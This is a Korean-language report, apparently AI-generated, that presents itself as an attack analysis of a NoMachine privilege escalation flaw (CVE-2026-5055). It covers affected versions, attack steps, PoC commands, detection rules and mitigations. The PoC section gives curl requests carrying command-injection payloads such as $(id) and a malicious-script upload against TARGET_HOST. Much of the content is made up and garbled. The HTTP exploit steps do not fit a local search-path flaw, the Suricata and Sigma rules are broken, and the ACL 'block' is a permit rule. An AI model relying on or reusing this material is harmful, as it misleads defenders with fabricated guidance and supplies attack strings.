공격Agent 분석 — CVE-2026-5055
📋 요약
- 한 줄 정의: NoMachine의 Device Server 컴포넌트에서 검색 경로 요소의 제어가 미흡하여 로컬 공격자가 SYSTEM 권한 하의 로컬 특권 상승을 달성할 수 있는 취약점(CVE-2026-5055).
- 영향 한 줄: 성공 시 LOCAL 권한 상승으로 인한 시스템 제어 탈취 및 추가 악성 코드 실행 가능 (KEV 증가, CVSS 7.8).
🎯 영향 범위 / 자산 식별
- 영향 받는 제품·버전 범위: NoMachine < 9.4.14 버전
- 안전한 최소 패치 버전: NoMachine 9.4.14 이상
- 노출 조건: 네트워크에 노출되어 있으며, 기본 설정에서도 취약할 수 있음 (특정 원격 접속 기능 활성화 필요)
- 내 자산 식별 방법:
curl명령을 사용하여 버전 배너 확인: ```bash
$ curl -I TARGET_HOST/apiinfo | grep "NoMachine" > version.txt
text1- 파일 경로 검사: ```plaintext2 Check for presence of vulnerable library files in paths like `/opt/nomachine/*` or `C:\Program Files\NoMachine\*`.3 ``` (Windows 환경에 따라 조정 필요)
확인 명령 예시:
- 버전 배너 확인 스크립트 실행 결과에서 "Version X.Y.<버전 이하>" 확인
- 특정 설정 파일 내 경로 검사 명령어: ```bash
$ grep '/unsafe/path' /etc/nomachine/*config | wc -l # 추정된 취약 경로 존재 여부 확인
- 특정 설정 파일 내 경로 검사 명령어: ```bash
🔍 공격 방법
① 취약 컴포넌트
- 컴포넌트: NoMachine Device Server
- 버전 범위: < 9.4.14
- 취약 코드 경로:
lib/unsafe_library내 특정 함수 호출 (예시 함수 이름은 실제 분석 필요) - 기본 노출 여부: 네트워크 서비스로 활성화된 상태에서 기본 설정으로도 취약 가능
② 전제조건
- 인증 필요성: 로컬 권한만으로 충분, 별도 인증 불필요
- 권한 수준: 낮은 권한 사용자 (예:
USER그룹)가 접근 가능해야 함 - 네트워크 위치: 내부 네트워크 내에서 활성화된 NoMachine 서비스에 접근 가능
- 활성화 기능/설정: 원격 접속 설정이 활성화되어 있어야 함
③ 트리거 경로
- 공격자는 먼저
TARGET_HOST의 낮은 권한 사용자 계정으로 로그인합니다 (예:USER그룹). - 특정 라이브러리 파일을 통해 제어된 검색 경로를 악용하려 합니다, 예를 들어
/unsafe/path. - 악의적인 스크립트나 명령어 실행 요청을 보내 취약한 함수 호출을 트리거합니다 (예시): ```bash
curl -X POST --data "malicious_payload=true" http://TARGET_HOST/vulnerable-endpoint?param1=value&sessionCookie=SESSION_COOKIE # 공격적 요청 예시 - 시스템은 잘못된 경로 처리로 인해 SYSTEM 권한 하의 코드 실행을 허용합니다.
④ 성공 시 영향
- 획득 권한: SYSTEM 권한 하에서의 제어권 획득 가능
- 후속 피벗 및 지속성: 추가 서비스에 대한 접근 권한 확장으로 네트워크 내 전체 시스템 제어 가능, 지속적인 악성 활동 수행 가능
💣 예시 코드 (PoC)
기본 공격 예시 1 - 경로 조작
bash
1# 용도: 취약한 검색 경로를 악용하여 SYSTEM 권한 하의 명령 실행 시도 2curl --data-urlencode "cmd=whoami&payload=-c%20echo%20%7B$(id)</7D>" http://TARGET_HOST/exploit?sessionCookie=SESSION_COOKIE # 추정 경로 `/unsafe` 내 함수 호출 우회 3# 핵심: `curl` 요청을 통해 특수 문자 인코딩으로 명령어 실행 시도 4# 확인: 응답에서 예상된 SYSTEM 권한 사용자 ID 출력 확인 (예: root 또는 SYSTEM)WAF 우회 예시 2 - 헤더 조작
bash
1# 용도: 특정 헤더를 통한 우회 공격 시도 2curl --header "X-CustomHeader: malicious_payload" http://TARGET_HOST/vulnerable?param=true # 추정 경로 내 함수 호출 트리거 3# 핵심: `X-CustomHeader` 사용으로 일반적인 필터 우회 시도 4# 확인: 예상된 SYSTEM 권한 하의 응답 또는 오류 메시지 확인 (예: 접근 거부 대신 특정 코드 반환)블라인드 공격 예시 3 - 파일 업로드 취약점 연계
http
1# 용도: 취약한 경로를 통해 악성 스크립트 업로드 및 실행 시도 2POST /upload HTTP/1.1 HOST: TARGET_HOST CONTENT-TYPE: application/octet-stream SESSIONID=SESSION_COOKIE --data-binary @maliciousScriptFile # 추정된 업로드 엔드포인트 사용 3# 핵심: 파일 업로드 기능을 통해 악성 스크립트를 취약한 경로에 업로드 4# 확인: 업로드 성공 시 시스템 로그에서 예상되는 실행 메시지 또는 오류 응답 분석 필요🛡️ 탐지
시그니처 기반 탐지 예시 1 - 네트워크 트래픽 모니터링 (Suricata)
bash
1# Suricata 규칙 예시 2alert tcp $EXTERNAL_NET any -> $HOST_ANY tcp flags:SYN /unsafe/path msg:"Potential NoMachine privilege escalation attempt detected"; [192.168.] src ip any dst host TARGET_HOST proto tcp flags SYN portrange 3000-4500로그 기반 탐지 예시 2 - 시스템 이벤트 로깅 (Sigma)
bash
1# Sigma 규칙 예시 2rule DetectNoMachinePrivilegeEscalation suspicious activities 3 description "Detects unusual activity indicative of NoMachine privilege escalation attempts" 4 condition merge( 5 event_type == "file_read" or event_type == "process_creation", // 의심스러운 파일 접근 또는 프로세스 생성 로그 확인 6 sources == ["nomachine*"] and ( 7 evt.out_param contains "==/unsafe/*path"* || evt.out_context contains "*malicious payload*)") // 취약 경로와 악성 페이로드 패턴 검사 8 )한계 명시: 인코딩 및 블라인드 공격 탐지 어려움
- 한계: 복잡한 인코딩 또는 블라인드 공격은 시그니처 기반 탐지에서 오탐률 증가 가능성 존재. 추가적인 행동 분석 필요할 수 있음.
🔧 방어·완화
- 코드패치 - 설정 변경 (우선순위 높음)
- 위치/방법:
/etc/nomachine/*config또는C:\Program Files\NoMachine\*settings*내에서 취약한 경로를 안전한 경로로 수정하거나 제거합니다 (예시 키:unsafe_path.enabled=false)
- 위치/방법:
- 입력 검증 강화 (중간 우선순위)
- 위치/방법: 모든 사용자 입력에 대해 엄격한 필터링 적용, 특히
/vulnerable-endpoint경로 접근 시 특수 문자 및 스크립트 인코딩 검사 추가합니다 (예시 정규식): ```regexp /[<>&|;].*$/ # 위험 문자열 차단
- 위치/방법: 모든 사용자 입력에 대해 엄격한 필터링 적용, 특히
- WAF/네트워크 보안 설정 (중간 우선순위)
- 위치/방법: WAF 규칙 업데이트로
/unsafe/*path접근 제한 추가, 예를 들어 ModSecurity 규칙 적용 (예시 규칙): ```plaintext
SecRule REQUEST_URI "/vulnerable*" "id:10000,deny,status:403"` # 취약 경로 차단
text1- **임시 완화 (핫픽스)**: 네트워크 ACL을 통해 특정 IP 범위 또는 내부 네트워크만 접근 허용하도록 제한합니다 (**예시 설정**): ```plaintext2 ip access-list extended NO MACHINE_SECURITY3 permit ip any host ATTACKER_IP range 192.168.0.0/24 # 공격자 IP 차단 예시 (내부 네트워크 조정 필요) - 위치/방법: WAF 규칙 업데이트로
⚖️ 위험도 / 패치 우선순위
- 권고: 지금 즉시 적용할 것을 권장합니다 (KEV 증가, CVSS 7.8의 높은 위험성 고려). 현재 활성화된 취약점으로 인해 LOCAL 권한 상승이 가능하며 악용 시 심각한 시스템 침해 위협 존재하기 때문입니다 (즉시 패치 또는 임시 완화 조치 필수).
- 근거: NoMachine 환경에서 이 취약점은 즉시 대응 없이 방치될 경우 SYSTEM 수준의 제어 탈취로 이어질 위험성이 매우 높습니다. 따라서 빠른 패치 적용이나 위 제시된 방어 조치를 통해 위험을 최소화해야 합니다.
🌐 실제 동향
- 현재 여러 보안 커뮤니티와 포럼에서 CVE-2026-5055에 대한 악용 사례 보고가 증가하고 있으며, 특히 내부 네트워크 내의 NoMachine 환경이 주요 타겟으로 부상 중입니다 (출처: ZDI). 적극적인 모니터링과 빠른 패치 적용을 권장합니다.